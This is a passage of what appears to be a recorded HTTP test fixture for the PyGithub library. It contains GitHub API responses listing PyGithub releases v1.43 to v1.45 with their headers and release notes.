Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DA78:10B15:6AEF3CC:6CE8100:61DC5706')] +[{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/22500330","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/22500330/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/22500330/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.45","id":22500330,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTIyNTAwMzMw","tag_name":"v1.45","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2019-12-29T03:48:30Z","published_at":"2019-12-29T03:51:35Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.45","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.45","body":"**Important**\r\n\r\n* This is the last release of PyGithub that will support Python 2.\r\n\r\n**Breaking Changes**\r\n\r\n* Branch.edit_{user,team}_push_restrictions() have been removed\r\n* The new API is:\r\n - Branch.add_{user,team}_push_restrictions() to add new members\r\n - Branch.replace_{user,team}_push_restrictions() to replace all members\r\n - Branch.remove_{user,team}_push_restrictions() to remove members\r\n* The api_preview parameter to Github() has been removed.\r\n\r\n**Bug Fixes & Improvements**\r\n\r\n* Allow sha=None for InputGitTreeElement (#1327) (60464f65)\r\n* Support github timeline events. (#1302) (732fd26a)\r\n* Update link to GitHub Enterprise in README (#1324) (e1537f79)\r\n* Cleanup travis config (#1322) (8189a538)\r\n* Add support for update branch (#1317) (baddb719)\r\n* Refactor Logging tests (#1315) (b0ef1909)\r\n* Fix rtd build (b797cac0)\r\n* Add .git-blame-ignore-revs (573c674b)\r\n* Apply black to whole codebase (#1303) (6ceb9e9a)\r\n* Fix class used returning pull request comments (#1307) (f8e33620)\r\n* Support for create_fork (#1306) (2ad51f35)\r\n* Use Repository.get_contents() in tests (#1301) (e40768e0)\r\n* Allow GithubObject.update() to be passed headers (#1300) (989b635e)\r\n* Correct URL for assignees on PRs (#1296) (3170cafc)\r\n* Use inclusive ordered comparison for 'parameterized' requirement (#1281) (fb19d2f2)\r\n* Deprecate Repository.get_dir_contents() (#1285) (21e89ff1)\r\n* Apply some polish to manage.sh (#1284) (3a723252)\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/21274492","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/21274492/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/21274492/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.44.1","id":21274492,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTIxMjc0NDky","tag_name":"v1.44.1","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2019-11-07T01:44:10Z","published_at":"2019-11-07T01:50:38Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.44.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.44.1","body":"* Add Python 3.8 to classifiers list (#1280) (fec6034a)\r\n* Expand Topic class and add test coverage (#1252) (ac682742)\r\n* Add support for team discussions (#1246) (#1249) (ec3c8d7b)\r\n* Correct API for NamedUser.get_organization_membership (#1277) (077c80ba)\r\n* Correct header check for 2FA required (#1274) (6ad592b1)\r\n* Use replay framework for Issue142 test (#1271) (4d258d93)\r\n* Sync httpretty version requirement with setup.py (#1265) (99d38468)\r\n* Handle unicode strings when recording responses (#1253) (#1254) (faa1bbd6)\r\n* Add assignee removal/addition support to PRs (#1241) (a163ba15)\r\n* Check if the version is empty in manage.sh (#1268) (db294837)\r\n* Encode content for {create,update}_file (#1267) (bc225f9d)\r\n* Update changes.rst (#1263) (d7947d82)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/20822625","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/20822625/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/20822625/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.44","id":20822625,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTIwODIyNjI1","tag_name":"v1.44","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2019-10-19T07:32:53Z","published_at":"2019-10-19T07:40:47Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.44","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.44","body":"**New features**\r\n* This version supports running under Python 3 directly, and the test suite\r\n passes under both 2.7 and recent 3.x's.\r\n\r\n**Bug Fixes & Improvements**\r\n* Stop ignoring unused imports and remove them (#1250) (a0765083)\r\n* Bump httpretty to be a greater or equal to (#1262) (27092fb0)\r\n* Add close all issues example (#1256) (13e2c7c7)\r\n* Add six to install_requires (#1245) (a840a906)\r\n* Implemented user organization membership. Added test case. (#1237) (e50420f7)\r\n* Create DEPLOY.md (c9ed82b2)\r\n* Support non-default URLs in GithubIntegration (#1229) (e33858a3)\r\n* Cleanup try/except import in PaginatedList (#1228) (89c967bb)\r\n* Add an IncompletableObject exception (#1227) (f91cbac2)\r\n* Fix redundant int checks (#1226) (850da5af)\r\n* Jump from notifications to related PRs/issues. (#1168) (020fbebc)\r\n* Code review bodies are optional in some cases. (#1169) (b84d9b19)\r\n* Update changes.rst (#1223) (2df7269a)\r\n* Do not auto-close issues with high priority tag (ab27ba4d)\r\n* Fix bug in repository create new file example PyGithub#1210 (#1211) (74cd6856)\r\n* Remove more Python version specific code (#1193) (a0f01cf9)\r\n* Drop use of assertEquals (#1194) (7bac694a)\r\n* Fix PR review creation. (#1184) (e90cdab0)\r\n* Add support to vulnerability alert and automated security fixes APIs (#1195) (8abd50e2)\r\n* Delete Legacy submodule (#1192) (7ddb657d)\r\n* Remove some uses of atLeastPython3 (#1191) (cca8e3a5)\r\n* Run flake8 in Travis (#1163) (f93207b4)\r\n* Fix directories for coverage in Travis (#1190) (657f87b5)\r\n* Switch to using six (#1189) (dc2f2ad8)\r\n* Update Repository.update_file() docstring (#1186) (f1ae7200)\r\n* Correct return type of MainClass.get_organizations (#1179) (6e79d270)\r\n* Add cryptography to test-requirements.txt (#1165) (9b1c1e09)\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/18750310","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/18750310/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/18750310/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43.8","id":18750310,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTE4NzUwMzEw","tag_name":"v1.43.8","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2019-07-20T15:56:37Z","published_at":"2019-07-20T15:57:21Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43.8","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43.8","body":"**New features**\r\n\r\n* Add two factor attributes on organizations (#1132) (a0731685)\r\n* Add Repository methods for pending invitations (#1159) (57af1e05)\r\n* Adds `get_issue_events` to `PullRequest` object (#1154) (acd515aa)\r\n* Add invitee and inviter to Invitation (#1156) (0f2beaca)\r\n* Adding support for pending team invitations (#993) (edab176b)\r\n* Add support for custom base_url in GithubIntegration class (#1093) (6cd0d644)\r\n* GithubIntegration: enable getting installation (#1135) (18187045)\r\n* Add sorting capability to Organization.get_repos() (#1139) (ef6f009d)\r\n* Add new Organization.get_team_by_slug method (#1144) (4349bca1)\r\n* Add description field when creating a new team (#1125) (4a37860b)\r\n* Handle a path of / in Repository.get_contents() (#1070) (102c8208)\r\n* Add issue lock/unlock (#1107) (ec7bbcf5)\r\n\r\n**Bug Fixes & Improvements**\r\n\r\n* Fix bug in recursive repository contents example (#1166) (8b6b4505)\r\n* Allow name to be specified for upload_asset (#1151) (8d2a6b53)\r\n* Fixes #1106 for GitHub Enterprise API (#1110) (54065792)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/16783673","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/16783673/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/16783673/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43.7","id":16783673,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTE2NzgzNjcz","tag_name":"v1.43.7","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2019-04-16T03:49:45Z","published_at":"2019-04-16T03:51:41Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43.7","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43.7","body":"* Exclude tests from PyPI distribution (#1031) (78d283b9)\r\n* Add codecov badge (#1090) (4c0b54c0)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/16573117","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/16573117/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/16573117/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43.6","id":16573117,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTE2NTczMTE3","tag_name":"v1.43.6","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2019-04-05T06:32:18Z","published_at":"2019-04-05T06:32:54Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43.6","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43.6","body":"**New features**\r\n\r\n * Add support for Python 3.7 (#1028) (6faa00ac)\r\n* Adding HTTP retry functionality via urllib3 (#1002) (5ae7af55)\r\n* Add new dismiss() method on PullRequestReview (#1053) (8ef71b1b)\r\n* Add since and before to `get_notifications` (#1074) (7ee6c417)\r\n* Add url parameter to include anonymous contributors in `get_contributors` (#1075) (293846be)\r\n* Provide option to extend expiration of jwt token (#1068) (86a9d8e9)\r\n\r\n **Bug Fixes & Improvements**\r\n\r\n * Fix the default parameter for `PullRequest.create_review` (#1058) (118def30)\r\n* Fix `get_access_token` (#1042) (6a89eb64)\r\n* Fix `Organization.add_to_members` role passing (#1039) (480f91cf)\r\n\r\n **Deprecation**\r\n\r\n * Remove Status API (6efd6318)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/15234801","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/15234801/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/15234801/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43.5","id":15234801,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTE1MjM0ODAx","tag_name":"v1.43.5","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2019-01-28T09:50:05Z","published_at":"2019-01-29T09:35:42Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43.5","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43.5","body":"* Add project column create card (#1003) (5f5c2764)\r\n* Fix request got an unexpected keyword argument body (#1012) (ff789dcc)\r\n* Add missing import to PullRequest (#1007) (b5122768)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/14655355","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/14655355/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/14655355/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43.4","id":14655355,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTE0NjU1MzU1","tag_name":"v1.43.4","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-12-21T09:29:21Z","published_at":"2018-12-21T09:30:15Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43.4","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43.4","body":"**New features**\r\n\r\n* Add Migration API (#899) (b4d895ed)\r\n* Add Traffic API (#977) (a433a2fe)\r\n* New in Project API: create repository project, create project column (#995) (1c0fd97d)\r\n\r\n**Bug Fixes & Improvements**\r\n\r\n* Change type of GitRelease.author to NamedUser (#969) (aca50a75)\r\n* Use total_count from data in PaginatedList (#963) (ec177610)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/13744883","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/13744883/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/13744883/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43.3","id":13744883,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEzNzQ0ODgz","tag_name":"v1.43.3","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-10-31T00:38:13Z","published_at":"2018-10-31T00:39:35Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43.3","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43.3","body":"**New features**\r\n\r\n* Add support for JWT authentication (#948) (8ccf9a94)\r\n* Added support for required signatures on protected branches (#939) (8ee75a28)\r\n* Ability to filter repository collaborators (#938) (5687226b)\r\n* Mark notification as read (#932) (0a10d7cd)\r\n* Add highlight search to ``search_code`` function (#925) (1fa25670)\r\n* Adding ``suspended_at`` property to NamedUSer (#922) (c13b43ea)\r\n* Add since parameter for Gists (#914) (e18b1078)\r\n\r\n**Bug Fixes & improvements**\r\n\r\n* Fix missing parameters when reversing ``PaginatedList`` (#946) (60a684c5)\r\n* Fix unable to trigger ``RateLimitExceededException``. (#943) (972446d5)\r\n* Fix inconsistent behavior of trailing slash usage in file path (#931) (ee9f098d)\r\n* Fix handling of 301 redirects (#916) (6833245d)\r\n* Fix missing attributes of ``get_repos`` for authenticated users (#915) (c411196f)\r\n* Fix ``Repository.edit`` (#904) (7286eec0)\r\n* Improve ``__repr__`` method of Milestone class (#921) (562908cb)\r\n* Fix rate limit documentation change (#902) (974d1ec5)\r\n* Fix comments not posted in create_review() (#909) (a18eeb3a)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12852693","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12852693/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/12852693/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43.2","id":12852693,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEyODUyNjkz","tag_name":"v1.43.2","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-09-12T07:01:08Z","published_at":"2018-09-12T07:01:54Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43.2","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43.2","body":"Version 1.43.2 (September 12, 2018)\r\n-----------------------------------\r\n\r\n* Restore ``RateLimit.rate`` attribute, raise deprecation warning instead (d92389be)"}] + +https +GET +api.github.com +None +/repositories/3544490/releases?per_page=10&page=3 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Mon, 10 Jan 2022 15:55:51 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"a255e93691b56b2d25a65048efdd3554963cdb6a3ca80671b38f055e7ace4765"'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="prev", ; rel="first"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4637'), ('X-RateLimit-Reset', '1641832874'), ('X-RateLimit-Used', '363'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DA7A:4595:11F943E:1339E8F:61DC5707')] +[{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12829833","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12829833/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/12829833/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43.1","id":12829833,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEyODI5ODMz","tag_name":"v1.43.1","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-09-11T05:10:13Z","published_at":"2018-09-11T05:10:56Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43.1","body":"Version 1.43.1 (September 11, 2018)\r\n-----------------------------------\r\n New feature:\r\n * Add support for Projects (#854) (faca4ce1)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12796526","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12796526/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/12796526/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.43","id":12796526,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEyNzk2NTI2","tag_name":"v1.43","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-09-08T07:09:08Z","published_at":"2018-09-08T07:46:17Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.43","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.43","body":"Version 1.43 (September 08, 2018)\r\n-----------------------------------\r\n\r\n\r\n**BUGFIX**\r\n\r\n* ``Repository.get_archive_link`` will now NOT follow HTTP redirect and return the url instead (#858) (43d325a5)\r\n* Fixed ``Gistfile.content`` (#486) (e1df09f7)\r\n* Restored NamedUser.contributions attribute (#865) (b91dee8d)\r\n\r\n**New features**\r\n\r\n* Add support for repository topics (#832) (c6802b51)\r\n* Add support for required approving review count (#888) (ef16702)\r\n* Add ``Organization.invite_user`` (880)(eb80564)\r\n* Add support for search/graphql rate limit (fd8a036)\r\n* Add Support search by topics (#893) (3ce0418)\r\n* Branch Protection API overhaul (#790) (171cc567)\r\n\r\n + (**breaking**) Removed Repository.protect_branch\r\n + Add `BranchProtection `__\r\n + Add `RequiredPullRequestReviews `__\r\n + Add `RequiredStatusChecks `__\r\n + Add ``Branch.get_protection``, ``Branch.get_required_pull_request_reviews``, ``Branch.get_required_status_checks``, etc\r\n\r\n**Improvements**\r\n\r\n* Add missing arguments to ``Repository.edit`` (#844) (29d23151)\r\n* Add missing attributes to Repository (#842) (2b352fb3)\r\n* Adding archival support for ``Repository.edit`` (#843) (1a90f5db)\r\n* Add ``tag_name`` and ``target_commitish`` arguments to ``GitRelease.update_release`` (#834) (790f7dae)\r\n* Allow editing of Team descriptions (#839) 